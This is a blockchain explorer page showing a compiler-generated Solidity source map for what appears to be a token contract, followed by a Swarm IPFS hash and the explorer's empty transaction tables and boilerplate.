9;:40::i;3672:253::-;3798:10;;3766:9;;3719:44;;-1:-1:-1;;;;;3798:10:0;3812;3798:24;:34;;3829:3;3798:34;;;3825:1;3798:34;3786:46;;;-1:-1:-1;3843:9:0;3855:5;3859:1;3786:46;3855:5;:::i;:::-;3843:17;-1:-1:-1;3843:17:0;;-1:-1:-1;3913:4:0;3916:1;3843:17;3913:4;:::i;:::-;3901:11;;3896:16;;:4;:16;:::i;:::-;:21;;;;:::i;:::-;-1:-1:-1;;;;;3877:16:0;;;;;;;;;;;;-1:-1:-1;;3877:16:0;;;:40;3672:253::o;3384:280::-;3475:10;;3463:9;;-1:-1:-1;;;;;3475:10:0;3489;3475:24;:34;;3506:3;3475:34;;;3502:1;3475:34;3463:46;;;-1:-1:-1;3520:9:0;3532:5;3536:1;3463:46;3532:5;:::i;:::-;3520:17;;3542:1;3538:5;;3559:9;3554:103;3578:5;:12;3574:1;:16;3554:103;;;3635:10;3612;:20;3623:5;3629:1;3623:8;;;;;;;;:::i;:::-;;;;;;;;;;;;-1:-1:-1;;;;;3612:20:0;;;;;;;;;;;-1:-1:-1;3612:20:0;:33;3592:3;;3554:103;;;;3452:212;;3384:280;;:::o;4758:151::-;-1:-1:-1;;;;;4833:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;4875:32;;1342:25:1;;;4875:32:0;;1315:18:1;4875:32:0;;;;;;;4758:151;;;:::o;1828:702::-;1932:6;;1908:20;;-1:-1:-1;;;1932:6:0;;;;1931:7;:35;;;;-1:-1:-1;;;;;;1943:23:0;;;;;;:17;:23;;;;;;;;1942:24;1931:35;:61;;;;-1:-1:-1;;;;;;1971:21:0;;;;;;:17;:21;;;;;;;;1970:22;1931:61;-1:-1:-1;;;;;2023:15:0;;;;;;:9;:15;;;;;;1908:84;;-1:-1:-1;2023:24:0;;2041:6;;2023:24;:::i;:::-;-1:-1:-1;;;;;2005:15:0;;;;;;:9;:15;;;;;:42;;;;2089:317;;;;-1:-1:-1;;;;;2154:16:0;;2125:17;2154:16;;;:10;:16;;;;;;2173:3;;2145:25;;:6;:25;:::i;:::-;:31;;;;:::i;:::-;2125:51;-1:-1:-1;2191:23:0;2125:51;2191:23;;:::i;:::-;;-1:-1:-1;2233:13:0;;2229:166;;2284:10;;-1:-1:-1;;;;;2284:10:0;2266:30;;;;:9;:30;;;;;:43;;2300:9;;2266:30;:43;;2300:9;;2266:43;:::i;:::-;;;;-1:-1:-1;;2356:10:0;;2333:46;;1342:25:1;;;-1:-1:-1;;;;;2356:10:0;;;;2333:46;;;;;1330:2:1;1315:18;2333:46:0;;;;;;;2229:166;2110:296;2089:317;-1:-1:-1;;;;;2432:13:0;;;;;;:9;:13;;;;;;2457:10;;2432:22;;2448:6;;2432:22;:::i;:::-;:35;;;;:::i;:::-;-1:-1:-1;;;;;2416:13:0;;;;;;;:9;:13;;;;;:51;;;;2483:39;;;2502:19;2511:10;2502:6;:19;:::i;:::-;2483:39;;1342:25:1;;;1330:2;1315:18;2483:39:0;;;;;;;1895:635;;1828:702;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:186::-;1959:6;2012:2;2000:9;1991:7;1987:23;1983:32;1980:52;;;2028:1;2025;2018:12;1980:52;2051:29;2070:9;2051:29;:::i;:::-;2041:39;1900:186;-1:-1:-1;;;1900:186:1:o;2528:260::-;2596:6;2604;2657:2;2645:9;2636:7;2632:23;2628:32;2625:52;;;2673:1;2670;2663:12;2625:52;2696:29;2715:9;2696:29;:::i;:::-;2686:39;;2744:38;2778:2;2767:9;2763:18;2744:38;:::i;:::-;2734:48;;2528:260;;;;;:::o;2793:127::-;2854:10;2849:3;2845:20;2842:1;2835:31;2885:4;2882:1;2875:15;2909:4;2906:1;2899:15;2925:1191;3018:6;3026;3079:2;3067:9;3058:7;3054:23;3050:32;3047:52;;;3095:1;3092;3085:12;3047:52;3135:9;3122:23;3164:18;3205:2;3197:6;3194:14;3191:34;;;3221:1;3218;3211:12;3191:34;3259:6;3248:9;3244:22;3234:32;;3304:7;3297:4;3293:2;3289:13;3285:27;3275:55;;3326:1;3323;3316:12;3275:55;3362:2;3349:16;3384:4;3407:2;3403;3400:10;3397:36;;;3413:18;;:::i;:::-;3459:2;3456:1;3452:10;3491:2;3485:9;3554:2;3550:7;3545:2;3541;3537:11;3533:25;3525:6;3521:38;3609:6;3597:10;3594:22;3589:2;3577:10;3574:18;3571:46;3568:72;;;3620:18;;:::i;:::-;3656:2;3649:22;3706:18;;;3740:15;;;;-1:-1:-1;3782:11:1;;;3778:20;;;3810:19;;;3807:39;;;3842:1;3839;3832:12;3807:39;3866:11;;;;3886:148;3902:6;3897:3;3894:15;3886:148;;;3968:23;3987:3;3968:23;:::i;:::-;3956:36;;3919:12;;;;4012;;;;3886:148;;;4053:6;4091:18;;;;4078:32;;-1:-1:-1;;;;;;;2925:1191:1:o;4121:380::-;4200:1;4196:12;;;;4243;;;4264:61;;4318:4;4310:6;4306:17;4296:27;;4264:61;4371:2;4363:6;4360:14;4340:18;4337:38;4334:161;;4417:10;4412:3;4408:20;4405:1;4398:31;4452:4;4449:1;4442:15;4480:4;4477:1;4470:15;4334:161;;4121:380;;;:::o;4506:127::-;4567:10;4562:3;4558:20;4555:1;4548:31;4598:4;4595:1;4588:15;4622:4;4619:1;4612:15;4638:128;4705:9;;;4726:11;;;4723:37;;;4740:18;;:::i;5105:416::-;5194:1;5231:5;5194:1;5245:270;5266:7;5256:8;5253:21;5245:270;;;5325:4;5321:1;5317:6;5313:17;5307:4;5304:27;5301:53;;;5334:18;;:::i;:::-;5384:7;5374:8;5370:22;5367:55;;;5404:16;;;;5367:55;5483:22;;;;5443:15;;;;5245:270;;;5249:3;5105:416;;;;;:::o;5526:806::-;5575:5;5605:8;5595:80;;-1:-1:-1;5646:1:1;5660:5;;5595:80;5694:4;5684:76;;-1:-1:-1;5731:1:1;5745:5;;5684:76;5776:4;5794:1;5789:59;;;;5862:1;5857:130;;;;5769:218;;5789:59;5819:1;5810:10;;5833:5;;;5857:130;5894:3;5884:8;5881:17;5878:43;;;5901:18;;:::i;:::-;-1:-1:-1;;5957:1:1;5943:16;;5972:5;;5769:218;;6071:2;6061:8;6058:16;6052:3;6046:4;6043:13;6039:36;6033:2;6023:8;6020:16;6015:2;6009:4;6006:12;6002:35;5999:77;5996:159;;;-1:-1:-1;6108:19:1;;;6140:5;;5996:159;6187:34;6212:8;6206:4;6187:34;:::i;:::-;6257:6;6253:1;6249:6;6245:19;6236:7;6233:32;6230:58;;;6268:18;;:::i;:::-;6306:20;;5526:806;-1:-1:-1;;;5526:806:1:o;6337:140::-;6395:5;6424:47;6465:4;6455:8;6451:19;6445:4;6424:47;:::i;6482:168::-;6555:9;;;6586;;6603:15;;;6597:22;;6583:37;6573:71;;6624:18;;:::i;6655:127::-;6716:10;6711:3;6707:20;6704:1;6697:31;6747:4;6744:1;6737:15;6771:4;6768:1;6761:15;6787:217;6827:1;6853;6843:132;;6897:10;6892:3;6888:20;6885:1;6878:31;6932:4;6929:1;6922:15;6960:4;6957:1;6950:15;6843:132;-1:-1:-1;6989:9:1;;6787:217::o;7009:125::-;7074:9;;;7095:10;;;7092:36;;;7108:18;;:::i

Swarm Source

ipfs://550a0c139c692363f0cb225a5ee2024558b292d8dd322fe47d142668e8433bc8

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.